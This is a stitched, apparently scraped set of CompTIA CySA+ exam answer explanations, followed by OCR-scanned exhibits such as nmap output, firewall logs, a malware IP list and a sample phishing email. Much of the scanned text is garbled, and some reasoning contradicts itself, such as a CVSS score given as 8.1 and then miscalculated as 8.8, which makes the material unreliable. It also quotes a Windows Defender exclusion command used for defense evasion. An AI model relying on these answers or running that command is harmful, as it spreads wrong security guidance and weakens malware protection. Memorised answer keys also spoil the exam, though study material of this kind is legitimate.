MITRE ATT&CK is a framework that maps the tactics, techniques, and procedures (TTPs) of various threat actors and groups, based on real-world observations and data. MITRE ATT&CK can
help a Chief Information Security Officer (CISO) to map all the attack vectors that the company faces each day, as well as to align their security controls around the most relevant and prevalent
threats. MITRE ATT&CK can also help the CISO to assess the effectiveness and maturity of their security posture, as well as to identify and prioritize the gaps and improvements .

The other options are not the best recommendations for mapping all the attack vectors that the company faces each day. OSSTMM (Open Source Security Testing Methodology Manual) (A) is a
methodology that provides guidelines and best practices for conducting security testing and auditing, but it does not map the TTPs of threat actors or groups. Diamond Model of Intrusion Analysis
(B) is a model that analyzes the relationships and interactions between four elements of an intrusion: adversary, capability, infrastructure, and victim. The Diamond Model can help understand the
characteristics and context of an intrusion, but it does not map the TTPs of threat actors or groups. OWASP (Open Web Application Security Project) is a project that provides resources and tools
for improving the security of web applications, but it does not map the TTPs of threat actors or groups.
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The XML file containsJavaScript embedded within a < description > tagthat executes an alert message, which is a commonCross-Site Scripting (XSS)attack vector. The issue occurs becausethe
XML schema does not restrict the input to safe characters, allowingarbitrary script executionwhen the XML file is processed by a vulnerable application.

Solution: Implement Input Validation Using an XML Schema Constraint

* Option Benforces awhitelist approachby allowingonly alphanumeric characters and spaces([a-zA-Z 0-9]

"),

* This prevents the inclusion ofmalicious JavaScript or special characterssuch as <, >, or & , which are required for XSS injection.

Why are the other options incorrect?

* Option A: Restricts input to aSocial Security Number (SSN) format ([0-9]{3}-[0-9] {2}-[0-9]{4}).

While it prevents JavaScript injection, it is too restrictive and would break legitimate text-based content in the XML.

* Option C: Restricts input toonly numeric values ([0-9]%), preventing JavaScript injection but also breaking legitimate non-numeric content in the < description > field.
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* Option D: Restricts input to asingle positive integer, which does not align with the expected text-based content.
Thus,Option Bis the correct answer, as it enforces proper input validation while still allowing expected text input.
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Risk scoringis the best method for prioritizing patching, as it considers factors likeCVSS severity, exploitability, asset criticality, and business impact.
* Option A (Affected hosts)is relevant but does notdetermine prioritywithout a risk assessment.
* Option C (Mitigation strategy)is useful but focuses on alternative protections rather than prioritization.
* Option D (Annual recurrence)is not a standard method for vulnerability prioritization.
Thus,B is the correct answer, asrisk scores allow organizations to prioritize patching efforts effectively.
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ThePHP script allows remote users to execute system commands via the system() function, meaning an attacker can send arbitrary commands to the server.
* Option A (Cross-site scripting - XSS)is incorrect because this script does not inject JavaScript into a webpage.

* Option B (Reverse shell)is possible if an attacker sends a crafted command, but the script itself is more of a general backdoor than a dedicated reverse shell.
* Option D (Logic bomb)is incorrect because a logic bomb is typicallytriggered by a specific event or daterather than executing arbitrary commands on demand.
Thus,C (Backdoor attempt) is the best answer, as this scriptgrants unauthorized remote command execution.
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A rollback had been executed on the instance. If a database server is restored to a previous state, it may reintroduce a vulnerability that was previously fixed. This can happen due to backup and
recovery operations, configuration changes, or software updates. A rollback can undo the patching or mitigation actions that were applied to remediate the vulnerability. References: Vulnerability
Remediation: It's Not Just Patching, Section:

The Remediation Process; Vulnerability assessment for SQL Server, Section: Remediation
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Proprietary systems are systems that are owned and controlled by a specific vendor or manufacturer, and that use proprietary standards or protocols that are not compatible with other systems.
Proprietary systems can pose a challenge for vulnerability management, as they may not allow users to access or modify their configuration, update their software, or patch their vulnerabilities. In
this case, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. This indicates that these systems and associated vulnerabilities are
examples of proprietary systems as inhibitors to remediation
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The most likely reason for this vulnerability is B. The developer did not set proper cross-site scripting protections in the header. Cross-site scripting (XSS) is a type of web application vulnerability
that allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be used to steal cookies, session tokens, credentials, or other sensitive information, or to
perform actions on behalf of the victim1.
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One of the common ways to prevent XSS attacks is to set proper HTTP response headers that instruct the browser how to handle the content of the web page. For example, the Content-Type
header can specify the MIME type and character encoding of the web page, which can help the browser avoid interpreting data as code. The X-XSS-Protection header can enable or disable the
browser's built-in XSS filter, which can block or sanitize suspicious scripts. The Content-Security-Policy header can define a whitelist of sources and directives that control what resources and
scripts can be loaded or executed on the web page2.

According to the output of Arachni, a web application security scanner framework3, it detected an XSS vulnerability in the form input 'txtSearch' with action https://localhost/search.aspx. This
means that Arachni was able to inject a malicious script into the input field and observe its execution in the response. This indicates that the developer did not set proper cross-site scripting
protections in the header of search.aspx, which allowed Arachni to bypass the browser's default security mechanisms and execute arbitrary code on the web page.
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CVSS 3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H is the attack vector that the analyst should remediate first, as it has the highest CVSSv3 score of 8.1. CVSSv3 (Common Vulnerability Scoring

System version 3) is a standard framework for rating the severity of vulnerabilities, based on various metrics that reflect the characteristics and impact of the vulnerability. The CVSSv3 score is
calculated from three groups of metrics:

Base, Temporal, and Environmental. The Base metrics are mandatory and reflect the intrinsic qualities of the vulnerability, such as how it can be exploited, what privileges are required, and what
impact it has on confidentiality, integrity, and availability. The Temporal metrics are optional and reflect the current state of the vulnerability, such as whether there is a known exploit, a patch, or a
workaround. The Environmental metrics are also optional and reflect the context of the vulnerability in a specific environment, such as how it affects the asset value, security requirements, or
mitigating controls. The Base metrics produce a score ranging from 0 to 10, which can then be modified by scoring the Temporal and Environmental metrics. A CVSS score is also represented as
a vector string, a compressed textual representation of the values used to derive the score.

The attack vector in question has the following Base metrics:

* Attack Vector (AV): Network (N). This means that the vulnerability can be exploited remotely over a network connection.

* Attack Complexity (AC): Low (L). This means that the attack does not require any special conditions or changes to the configuration of the target system.

* Privileges Required (PR): Low (L). This means that the attacker needs some privileges on the target system to exploit the vulnerability, such as user-level access.

* User Interaction (Ul): None (N). This means that the attack does not require any user action or involvement to succeed.

* Scope (S): Unchanged (U). This means that the impact of the vulnerability is confined to the same security authority as the vulnerable component, such as an application or an operating system.
* Confidentiality Impact : High (H). This means that the vulnerability results in a total loss of confidentiality, such as unauthorized disclosure of all data on the system.

* Integrity Impact (1): High (H). This means that the vulnerability results in a total loss of integrity, such as unauthorized modification or deletion of all data on the system.

* Availability Impact (A): High (H). This means that the vulnerability results in a total loss of availability, such as denial of service or system crash.

Using these metrics, we can calculate the Base score using this formula:

Base Score = Roundup(Minimum[(Impact + Exploitability), 10])

Where:

Impact = 6.42 x [1 - ((1 - Confidentiality) x (1 - Integrity) x (1 - Availability))] Exploitability = 8.22 x Attack Vector x Attack Complexity x Privileges Required x User Interaction Using this formula, we
get:

Impact =6.42 x [1-((1-0.56) x (1-0.56) x (1-0.56))] =5.9

Exploitability = 8.22 x 0.85 x 0.77 x 0.62 x 0.85 = 2.8

Base Score = Roundup(Minimum[(5.9 + 2.8), 10]) = Roundup(8.7) = 8.8
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Therefore, this attack vector has a Base score of 8.8, which is higher than any other option.

The other attack vectors have lower Base scores, as they have different values for some of the Base metrics:

* CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.2, as it has a lower value for Attack Vector (Physical), which means that the vulnerability can only be exploited by having
physical access to the target system.

* CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 7.4, as it has a lower value for Attack Vector (Adjacent Network), which means that the vulnerability can only be exploited
by being on the same physical or logical network as the target system.

* CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.8, as it has a lower value for Attack Vector (Local), which means that the vulnerability can only be exploited by having
local access to the target system, such as through a terminal or a command shell.
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The correct answer is B because this is a critical infrastructure / ICS / OT environment. The safest option listed is a targeted, low-impact banner-grabbing approach against the known standard
ports: TCP 80 for HTTP and TCP 502 for Modbus. In critical infrastructure, the analyst should avoid aggressive or broad scanning methods that could disrupt fragile industrial systems.

Exact supporting extract: the Secbay CySA+ guide states that vulnerability scanning of OT environments, including ICS and SCADA systems, requires specialized tools and methodologies
because these environments have unique security requirements and constraints. It also states that vulnerabilities in ICS can have severe operational and safety implications.

The same guide explains that Modbus is a protocol used in industrial control systems and enables communication among devices connected to the same network.

The Sybex CySA+ Study Guide explains that service identification may be done by connecting and grabbing the banner or connection information provided by the service. It also explains that
Nmap can perform service and version detection, but the more aggressive options are less appropriate for sensitive ICS environments.

Why the other options are incorrect:

A is incorrect because a general IT vulnerability scanner may be too intrusive for an oil and gas pipeline ICS environment.

C is incorrect because -A enables aggressive Nmap detection features, which may include OS detection, version detection, scripts, and traceroute. That is riskier in ICS/OT environments.

D is incorrect because Masscan is designed for high-speed scanning and is inappropriate for sensitive critical infrastructure networks.

B is best because it targets only the known ports and uses a less aggressive identification method.
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Limiting user creation to administrators only would work best to mitigate the attack represented by this snippet. The snippet shows an attempt to exploit a zero-day vulnerability in the ThemeREX
Addons WordPress plugin, which allows remote code execution by invoking arbitrary PHP functions via the REST-API endpoint /wp-json/trx_addons/V2/get/sc_layout. In this case, the attacker
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tries to use the wp_insert_user function to create a new administrator account on the WordPress site12. Limiting user creation to administrators only would prevent the attacker from succeeding,
as they would need to provide valid administrator credentials to create a new user. This can be done by using a plugin or a code snippet that restricts user registration to administrators34. Limiting
layout creation to administrators only, setting the directory trx_addons to read only for all users, and setting the directory v2 to read only for all users are not effective controls to mitigate the attack,
as they do not address the core of the vulnerability, which is the lack of input validation and sanitization on the REST-API endpoint. Moreover, setting directories to read only may affect the
functionality of the plugin or the WordPress site56. References: Zero-Day Vulnerability in ThemeREX Addons Now Patched - Wordfence, Mitigating Zero Day Attacks With a Detection,

Prevention ...

- Spiceworks, How to Restrict WordPress User Registration to Specific Email ..., How to Limit WordPress User Registration to Specific Domains, WordPress File Permissions: A Guide to Securing
Your Website, WordPress File Permissions: What is the Ideal Setting?
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The first thing that must be done when starting an investigation is to secure the scene. Securing the scene involves isolating and protecting the area where the incident occurred, as well as any
potential evidence or withesses. Securing the scene can help prevent any tampering, contamination, or destruction of evidence, as well as any interference or obstruction of the investigation.
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* Single Sign-On (SSO) allows users to authenticate once and gain access to multiple applications without needing to re-enter credentials for each one.
* It reduces password fatigue, improves security, and streamlines authentication across vendor portals.

Why Not Other Options?

* A (API) # APIs facilitate data exchange but do not solve authentication problems.

* B (MFA) # Enhances security but still requires multiple logins.

* D (VPN) # Secures connections but does not eliminate multiple logins.

Reference: CompTIA CySA+ CS0-003, Chapter 8: " Identity and Access Management, " Section: " SSO and Access Control Methods. "
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Enabling a user account lockout policy is a security measure that can effectively mitigate brute-force attacks.

After a predetermined number of consecutive failed login attempts, the account will be locked, preventing the attacker from continuing to try different password combinations. This control directly
addresses the issue of multiple failed attempts from the same IP address using a single user account, making it the most effective among the options provided. Option B suggests replacing RDP
with another remote access tool, which does not address the brute-force attempt but rather avoids the RDP protocol. Option C, implementing a firewall block, could be effective but does not
prevent attacks from other IP addresses and may not be as immediate.

Option D, increasing log verbosity, enhances monitoring but does not prevent the attack itself.
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Key pair authentication is a method of using a public and private key to securely access cloud resources, such as downloading the configuration of assets from a cloud tenancy. Key pair
authentication is more secure than user and password or PAM, and does not require an additional factor like MFA.

References: Authentication Methods - Configuring Tenant-Wide Settings in Azure ..., Cloud Foundation - Oracle Help Center
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* PID 2264 (bash running as root) is suspicious because:

* It has elevated privileges (root user).

* Bash (command-line shell) is running with high CPU usage (14.0%), which is unusual unless actively being used.
* If unauthorized, an attacker could be exfiltrating data via command-line methods like scp, wget, or custom scripts.
Why Not Other Options?

* B (34218 - Xorg) # Xorg is a display server for GUI; no signs of exfiltration.
* C (34834 - Cinnamon) # Cinnamon is a desktop environment, not a threat.
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* D (35963 - xrdp) # xrdp is a remote desktop service, expected behavior.
Reference: CompTIA CySA+ CS0-003, Chapter 6: " Host-Based Security Monitoring, " Section: " Analyzing Suspicious Processes and Privileged Activity. "
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Mean Time to Detect (MTTD) is the most appropriate Key Performance Indicator (KPI) to monitor the effectiveness of an incident response reporting and communication program among the

choices provided.
* Why B is correct: The primary goal of an " incident reporting " program (whether automated by tools or reported by users/staff) is to alert the security team to an issue as quickly as possible.

MTTD measures the average time it takes for an organization to identify (detect and report) an incident after it has occurred. A lower MTTD directly indicates that the reporting mechanisms and
communication channels from the source to the analysts are operating effectively.

* Why A is incorrect: Incident volume measures the quantity of incidents, which reflects the threat landscape or workload rather than the effectiveness of the response program itself. While an
increase in user-reported volume can indicate better awareness , MTTD is the standard performance metric for the process .

* Why C is incorrect: Average time to patch is a KPI for Vulnerability Management , not Incident Response reporting.

* Why D is incorrect: Remediated incidents refers to the volume of resolved issues (Response

/Recovery phase) and does not specifically measure the speed or quality of the reporting and communication (detection) phase.

In Domain 4 (Reporting and Communication) and Domain 1 (Security Operations) , CompTIA emphasizes the use of time-based metrics to evaluate process maturity.

*MTTD (Mean Time to Detect): Measures " dwell time " and the efficiency of the Detection & Reporting phase.

*MTTR (Mean Time to Respond): Measures the efficiency of the Response & Recovery phase.
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The lessons learned process is the final stage of the incident management life cycle, where the incident team reviews the incident and evaluates the effectiveness of the response and the plans in
place. The lessons learned report should include the who-what-when information and any recommendations for improvement123 References: 1: What is incident management? Steps, tips, and
best practices 2: 5 Steps of the Incident Management Lifecycle | RSI Security 3: Navigating the Incident Response Life Cycle: A Comprehensive Guide
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root@INFOSEC:~# curl --head appsrvl.fictionalorg.com:443

HTTP/1.1 260 0K

Date: Wed, 26 Jun 2819 21:15:15 GMI
Server: Apache/2.4.48 (Cent0S)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMI
ETag: "13520-58c4879 3017 7d"
Accept-Ranges: bytes

Content-Length: 79136

Vary: Accept-Encoding

Cache-Control: max-age=3608

Expires: Wed, 26 Jun 2019 22:15:15 GMI
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrvl.fictionalorg.com
Starting Nmap 6.48 ( http://mmap.org ) at 2019-86-26 16:@7 (D]

Nmap scan report for AppSrvl.fictionalorg.com (1€.21.4.68)
Host is up (0.842s latency).

rDNS record for 18.21.4.68: inaddrArpa.fictionalorg.com
PORT STATE SERVICE

root@INFOSEC:~dt nmap --scripl ssl-enum-ciphers appsrvl.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://rmap.org ) at 2019-86-26 16:87 (DI

-

Nmap scan report for AppSrvl.fictionalorg.com (10.21.4.68)

Host 15 up (0.8425 latency).



- B s
- - - . = »

ILS_RSA_WITH_AES_256_GCM_SHA384 - strong
i l.iﬂ{.‘l“t"‘."- sOors:
NULL
least strength: strong

Nmap done: 1 IP address (1 host up) scanned in B8.63 seconds

rootf@INFOSEC:~# nmap --top-ports 18 appsrvil.fictionalorg.com

Starting Nmap 6.48 ( http://mmap.org ) at 26819-86-27 18:13 (DI

Nmap scan report for appsrvl.fictionalorg.com (19.21.4.68)

Host is up (©.15s latency).

rONS record for 18.21.4.68: appsrvl.fictionalorg.com
PORT STATE SERVICE
88/tcp open http

AppServ2:



HTTP/1.1 200 0K

Date: Wed, 26 Jun 2819 21:15:15 GMI
Server: Apache/2.3.48 (Cent(S)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c4087930177d"

Accept-Ranges: bytes

Content-Length: 79136

Vary: Accept-Encoding

Cache-Control: max-age-3600

Expires: Wed, 26 Jun 2019 22:15:15 GMI
Content-Type: text/html

root@INFOSEC:~# nmap --script sc<l-enum-ciphers<s appsrv2.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://mmap.org ) at 2019-06-26 16:97 (DI

Nmap scan report for AppSrv2.fictionalorg.com (106.21.4.69)
Host ic up (©.8425 latency).

rDNS record for 18.21.4.69: inaddrArpa.fictionalorg.com
Not shown: 998 filtered ports

PORT STATE SERVICE

88/tcp open http

AppServa3:



HTTP/1.1 2688 OK

Date: Wed, 26 Jun 2819 21:15:15 GMT

Server: Apache/2.4.48 (Cent(s)
Last-Modified: Wed, 26 Jun 2819 21:10:22 GMT
ETag: "13520-5Bc486788177e"

Accept-Ranges: bytes

Content-Length: 79136

Vary:

y: Accept-Encoding
Cache-Control: max-age=7608
Expires: Wed, 26 Jun 2019 22:15:15 GM]

Content-Type: text/html

root@INFOSEC:~8 Bnap script ssl-enum-ciphers appsrvi.ftictionalorg.com

Starting Nmap 6.48 ( http://mmap.org ) at 2019-86-26 16:07 (DT

Nmap scan report for AppSrv3.fictionalorg.com (10.21.4.7@)
Host is up (0.842s latency).

rONS record for 18.21.4.70: inaddrArpa.fictionalorg.com
PORT STATE SERVICE

B@/tcp open http

443 /tcp open https

AppServ4:



AppServ AppServ2 '-‘F:' e ’:\DDSE‘T'-'J

r - - - LIS

Last-Modified: Wed, 26 Jun 2019 21:10:22 GMI
ETag: "13520-58c486780177e"

Accept-Ranges: bytes

Content-Length: 79136

Vary: Accept-Encoding

Cache-Control: max-age=3600

Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap script ssl-enum-cighteshappsrv4.ftictionalorg.com -p 443
Starting Nmap 6.48 ( http://ne@@ . Org) ) Yat 2019-66-26 16:07 (DT

Nmap scan report fop AppShv#.Tictionalorg.com (10.21.4.71)
Host is up (0.082% latency).

rONS record for T9.31.4.71: inaddrArpa.fictionalorg.com
Not shown: 998 filtered ports

PORT STATE SERVICE

443 /tcp open htips

I TLSv1.2:

I ciphers:
TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong




compliance Report

Fill out the following report based on your analysis of
the scan data

| | Appservi is only using TLS 1.2
| ] Appsenvzis only using TLS 1.2
|| Appservais only using TLS 1.2
[}, Aopseérva isonly using TLS 1.2
|| AppServi is using Apache 2.4.18 or greater

|| Appservz is using Apache 2.4.18 or greater

9: F mlé}sng Apache 2 4 18 or greater
(] Appserva slusmg Apache 2.4.18 or greater -

IN— k2




Conhquration Chanqge Recommendations

o Add Recommendation for -~

W
HTTPD Secufity
TELNET
SSH Id
MYSQL
Apache Version

Compl

Config Change

Move to Port 443
Restrict To TLS 1.2
Upgrade Version
Move to Port 22
Remove or Disable

1EfZ:
Part 1:



Comphance Repor

Fill out the following report based on your analysis of
the scan data

AppServ1 is only using TLS 1.2

DAppSENE is only using TLS 1.2
I AppServ3 is only using TLS 12

I AppServ4 Is oniWusSIpg TLS 1.2

AppSept is using Apache 2.4.18 or greater

D AppServe Is using Apache 2 4.18 or greater

l AppServ3 is using Apache 2 4.18 or greater

1H AppServ4 rsiuslng Apache 2 4 18 or greater E

Part 2:

Based on the compliance report, | recommend the following changes for each server:

AppServ1: No changes are needed for this server.

AppServ2: Disable or upgrade TLS 1.0 and TLS 1.1 to TLS 1.2 on this server to ensure secure encryption and communication between clients and the server. Update Apache from version 2.4.17
to version 2.4.18 or greater on this server to fix any potential vulnerabilities or bugs.

AppServ3: Downgrade Apache from version 2.4.19 to version 2.4.18 or lower on this server to ensure compatibility and stability with the company's applications and policies. Change the port
number from 8080 to either port 80 (for HTTP) or port 443 (for HTTPS) on this server to follow the default port convention and avoid any confusion or conflicts with other services.

AppServ4: Update Apache from version 2.4.16 to version 2.4.18 or greater on this server to fix any potential vulnerabilities or bugs. Change the port number from 8443 to either port 80 (for HTTP)
or port 443 (for HTTPS) on this server to follow the default port convention and avoid any confusion or conflicts with other services.
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Geoblocking is the best mitigation technique for unusual network scanning activity coming from a country that the company does not do business with, as it can prevent any potential attacks or
data breaches from that country. Geoblocking is the practice of restricting access to websites or services based on geographic location, usually by blocking IP addresses associated with a certain
country or region. Geoblocking can help reduce the overall attack surface and protect against malicious actors who may be trying to exploit vulnerabilities or steal information. The other options
are not as effective as geoblocking, as they may not block all the possible sources of the scanning activity, or they may not address the root cause of the problem. Official References:
https://www.blumira.com/geoblocking/

https://www.avg.com/en/signal/geo-blocking
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Vulnerability management reporting and communication focuses on giving stakeholders the information they need to prioritize, assign, track, and complete remediation. That typically includes:
* Risk severity / risk score (to prioritize and communicate urgency)

* Timelines (when fixes are due, often tied to SLOs/SLAs and internal targets)

* Dependencies (what must happen first or what systems/teams a fix relies on)

* Remediation ownership / responsible parties (who is accountable for fixing each item) This maps directly to Option D.

Exact extract (CompTIA CySA+ CS0-003 Exam Objectives - Vulnerability management reporting):

Vulnerability management reporting includes "Risk score ... [and] Prioritization." Exact extract (Secbay Press - Key components of action plans used for reporting/communication):

* "Timeline and Prioritization: Specify timelines for addressing each vulnerability..."

* "Responsible Parties: Clearly identify individuals or teams responsible..."

* "Communication Strategy: Outline how the organization will communicate progress..." These are the same practical reporting/communication items expressed in Option D:

* "Risk severity levels" # risk score / severity used for prioritization

* "Timelines" # timeline definition in action plans

* "Remediation ownership" # responsible parties/accountability

* "Dependencies" are commonly tracked because they affect timelines and ownership (for example, engineering/ops sequencing and prerequisite changes), and they align with the objective's
focus on prioritization/action planning and stakeholder communication.

Why the other options are not the best match:

* A includes items that are valuable inputs to prioritization (risk assessment, BIA), but vulnerability reporting/communication (per objectives) is centered on reporting vulnerabilities, affected hosts,
risk scoring, mitigations, recurrence, prioritization, and action plans, not BCPs as core reporting factors.

* B mixes relevant items (MTTR, dependencies) with disaster recovery plans, which are DR/BC-focused rather than core vulnerability reporting elements.

* C includes several incident response / SOC monitoring metrics (alert volume characteristics, MTTD) that are not the primary focus of vulnerability management reporting (even though false
positives can be tracked as a VM metric, the overall set is misaligned).

References (CompTIA CySA+ CS0-003 documents / study guides used):

* CompTIA CySA+ CS0-003 Exam Objectives v4.0: vulnerability management reporting includes risk score and prioritization; action plans and stakeholder communication
* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): action plan components include timelines, responsible parties (ownership), and communication strategy
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A Service-Level Agreement (SLA) is a document that establishes customer expectations regarding the performance and quality of services provided by the SOC (Security Operations Center). It
defines the level of service expected, including aspects like response times, availability, and support after regular work hours. An SLA helps in setting clear expectations and improving customer
satisfaction by outlining the standards and commitments of the service provider.
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['ime Host _ q IChild Process

1:15PM PC1 wininit.exe |seryAces.eaxe

1:15PM |PC look.exe egde]l . exe
15PM PC D10 _,:a-..t“ I f

1:15PM |PCl Jininsh.e&e |1sa e

l:16FPM PC1 aervices.,.axe = aye
li DaE FI ,:'"n"! - ¥ ] e - =

1:1¢PM excel.exe procdum exe

1:16PM PC4 explorer.axelmstsc.exe

1:17PM [PC5 |explorex(3kElfdtelok.cxe
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B. PC2

C.PC3

D. PC4

E. PC5
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From the logs, PC3 showsoutlook.exe spawning excel.exe at 1:15 PM, and laterexcel.exe spawning procdump.

exe at 1:16 PM. This is highly suspicious becauseoutlook.exe should not normally launch Excel, andprocdump.exe is often used by attackers to dump process memory, which is a common
technique in credential theft.

* PC1:Running expected Windows processes (wininit.exe spawning services.exe and Isass.exe).

* PC2:Running a browser process (chrome.exe) from explorer.exe, which is normal.

* PC3:Highly suspicious behavior (Excel spawning procdump.exe).

* PC4:Running mstsc.exe (Remote Desktop) from explorer.exe, which is expected.

* PC5:Running Firefox from explorer.exe, which is normal.

Thus,PC3 should be prioritized for investigationdue to its potential involvement in credential theft.
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Defense evasion is the technique of avoiding detection or prevention by security tools or mechanisms. In this case, the freeware program is likely a malware that generates random DNS queries to
communicate with a command and control server or exfiltrate data. The command Add-MpPreference -ExclusionPath ' %Program Filest\ksysconfig ' is used to add an exclusion path to Windows
Defender, which is a built-in antivirus software, to prevent it from scanning the malware folder. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 204;
CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 212. pr
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The Cyber Kill Chain is a framework that describes the stages of a cyberattack from reconnaissance to actions on objectives. The exploitation stage is where attackers take advantage of the
vulnerabilities they have discovered in previous stages to further infiltrate a target's network and achieve their objectives. In this case, the malicious actor has gained access to an internal network
by means of social engineering and does not want to lose access in order to continue the attack. This indicates that the actor is in the exploitation stage of the Cyber Kill Chain. Official References:

https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill- chain.html
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The correct answer is C. False negative.

A false negative is a situation where an attack or a threat is not detected by a security control, even though it should have been. In this case, the SIEM rule was unable to detect an attack with nine
failed logins, which is below the threshold of ten failed logins that triggers an alert. This means that the SIEM rule missed a potential attack and failed to alert the security analysts, resulting in a
false negative.

A false positive is a situation where a benign or normal activity is detected as an attack or a threat by a security control, even though it is not. A true negative is a situation where a benign or
normal activity is not detected as an attack or a threat by a security control, as expected. A true positive is a situation where an attack or a threat is detected by a security control, as expected.
These are not the correct answers for this question.
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Ef#: (EfEZRTLET)

Comprehensive and Detailed Step-by-Step Explanation:The SPF = PASS result confirms the email came from an authorized server, but DKIM = FAIL indicates the message was not properly
signed with the expected DomainKeys Identified Mail (DKIM) signature. DMARC = FAIL suggests that because DKIM failed, the overall email authentication failed. This scenario is consistent with
a legitimate server sending an unsigned email.

References:

CompTIA CySA+ All-in-One Guide (Chapter 5: Email Analysis)

CompTIA CySA+ Practice Tests (Domain 1.3 Email Authentication)
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Thechain of custodyis a documented history that tracks how evidence is handled, collected, transported, and preserved at every stage of the forensic investigation. If a gap exists in the record of
who transferred or accessed the evidence, it could call into question the integrity and admissibility of the evidence.

* Validating data integrity (Option A)refers to ensuring that the forensic image is identical to the original data, often using cryptographic hashing, but it does not address procedural gaps in


https://www.jpnshiken.com/q/69047-6477586/
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documentation.

* Preservation (Option B)involves protecting the original evidence from modification or loss but does not include logging transfers of custody.
* Legal hold (Option C)refers to a requirement to preserve data for legal proceedings, which is different from tracking evidence handling.
Thus, the correct answer isD, as chain of custody directly relates to tracking who had access to the evidence and when.
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Firewall log E

Traffic denied:

Dec 1 14:10:46 fire00 fire00: NetScreen device_id=fire00 [Root]system-notification-00257(traffic):
policy_id=119 service=udp/port:7001 proto=17 src zone=Trust dst zone=Untrust action=Deny sent=0
rcvd=0 src=192.168.2.1 dst=1.2.3.4 src_port=3036 dst_port=7001

Dec 1 14:12:31 fire00 akal: NetScreen device_id=akal [Root]system-notification-00257(traffic):
policy_id=120 service=udp/port:20721 proto=17 src zone=Trust dst zone=DMZ action=Deny sent=0
revd=0 src=192.168.2.2 dst=1.2.3.4 src_port=53 dst_port=20721

Dec 1 14:14:31 fire00 akal: NetScreen device_id=akal [Root]system-notification-00257(traffic):
policy_id=120 service=udp/port:17210 proto=17 src zene=Trust dst zone=DMZ action=Deny sent=0
revd=0 src=192.168.2.2 dst=1.2.3.4 src_port=53 dst_port=17210

Alert messages: - = o
_f',-?:""' ""‘5.5 N N g I{,j;'x i‘:';-ﬂ

| | S
Dec 1 14:03:19 [xx] ns5gt: NetSereen device_id=ns5gt [Root]system- alert‘ﬁeﬁiﬁwlh\fmce éﬁeﬂ%m U\
81.161.63.253, proto TCP (zone Untrust, int untrust). Occurred 1 times.

Critical messages:

Dec 1 11:24:16 fire00 sav00: NetScreen device_id=sav00 [Root]system-critical-00436: Large ICMP packet!
From 1.2.3.4 to 2.3.4.5, proto 1 (zone Untrust, int ethernet1/2). Occurred 1 times.

[00001] 2005-05-16 12:55:10 [Root]system-critical-00042: Replay packet detected on IPSec tunnel on
ethernet3 with tunnel ID Ox1c! From z.y.x.w to a.b.c.d/336, ESP, SPI 0xf63af637, SEQ Oxe337.

[00001] 2006-05-25 13:34:33 [Root]system-alert-00008: IP spom Frum 10 1 L. 2_ '80°to a.b.c.d:49807,
proto TCP (zone Untrust, int ethernet3). Occurred 1 times. \ @] &

. | ‘ i
7 Q” § | I L__:—" 1
- — -~ - - |
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File integrity monitoring report

Shows files, folders, shares, and permissions that were created, deleted, or modified.
m_m-
\\host1\users\userl\Downloads\ payroll.xlsx Domainusers\userl  11/30/19
12:05:34
Where: Host1
Workstation: 172.30.0.152
W - '
Removed File \\hml\%ﬁ\%lm%g\p%yrﬂl xlsx Domainusers\userl  11/30/19
i ‘__f_ k“ \m 14 12:25:13
Where: T Y !*. ) -
: rb ':'|| L | &
Workstation:
Date created: ‘ “11/30/19 12:05:34"
Added File \\host1\users\user1\Downloads\resumel.docx = Domainusers\userl 12/1/19
13:59:25
Where: Host1
Workstation: 172.30.0.152
Added File \\host1\users\userl\ DaWr - Iﬁnusers\usal 12/1/19
® 14:03:55

Hestl
172.30.0.152

Domainusers\userl  12/1/19
14:25:30

-
.

s 2 o resume2.docx
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Malware domain list E

# MalwareDomainList.com Host List #
# http://www.maowaredomainlist.com/hostlist/hosts.txt #

# Last updated: 3 Dec 2019, 21:00:00 #
# 1P #

171.25.193.20
1712519325
185.220.101.194
81.161.63.103
81.161.63.253
77.247.181.162
141.98.81.194
46.101.220.225
139.59.95.60
51.254.37.192
81.161.63.104
139.59.116.115
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Vulnerability scan report

HIGH SEVERITY

Title: Cleartext transmission of sensitive information

Description: The software transmits sensitive or security-critical data in Cleartext in a communication
channel that can be sniffed by authorized users.

Affected asset: 172.30.0.150

Risk: Anyone can read the information by gaining access to the channel being used for
communication.

Reference: CVE-2002-1949

HIGH SEVERITY

Title: Elevated privileges not required for software installations

Description: All account types can install software, requirements for privileged accounts for installation
capabilities is not configured.

Affected asset: 172.30.0.152
Risk: Enhanced risk for unauthorized or malicious software installation
Reference: n/a



MEDIUM SEVERITY

Title: Sensitive cookie in HTTPS session without “secure” attribute

Description: The secure attribute for sensitive cookies in HTTPS sessions is'fiot §€t, which,could catise
the user agent to send those cookies in plaintext over HTTP session. -

Affected asset: 172.30.0.157

Risk: Session sidejacking

Reference: CVE-2004-0462

LOW SEVERITY

Title: Untrusted SSL/TLS Server X.509 certificate

Description: The server’s TLS/SSL certificate is signed by a certificate authority that is untrusted or
unknown.

Affected asset: 172.30.0.153

Risk: May allow on-path attackers to insert a spoofed certificate for any distinguished name
(DN).

Reference: CVE-2005-1234
T4 90T A=)



Phishing email

From: IT HelpDesk <it-helpdesk@company.com>

Sent: Sun 12/01/2019 2:00:00

To: Global Users <globalusers@company.com>

Subject: Moving our mail servers

Hi,

In the upcoming days, we will be moving our mail servers. Check out the new Company Webmail to know if it

has started working for you.

Visit the new Company Webmail to see all the new features.
Use your current username and password at Company Webmail.

Download the latest mail client Ica:ated here.

Thank you.

IT HelpDesk

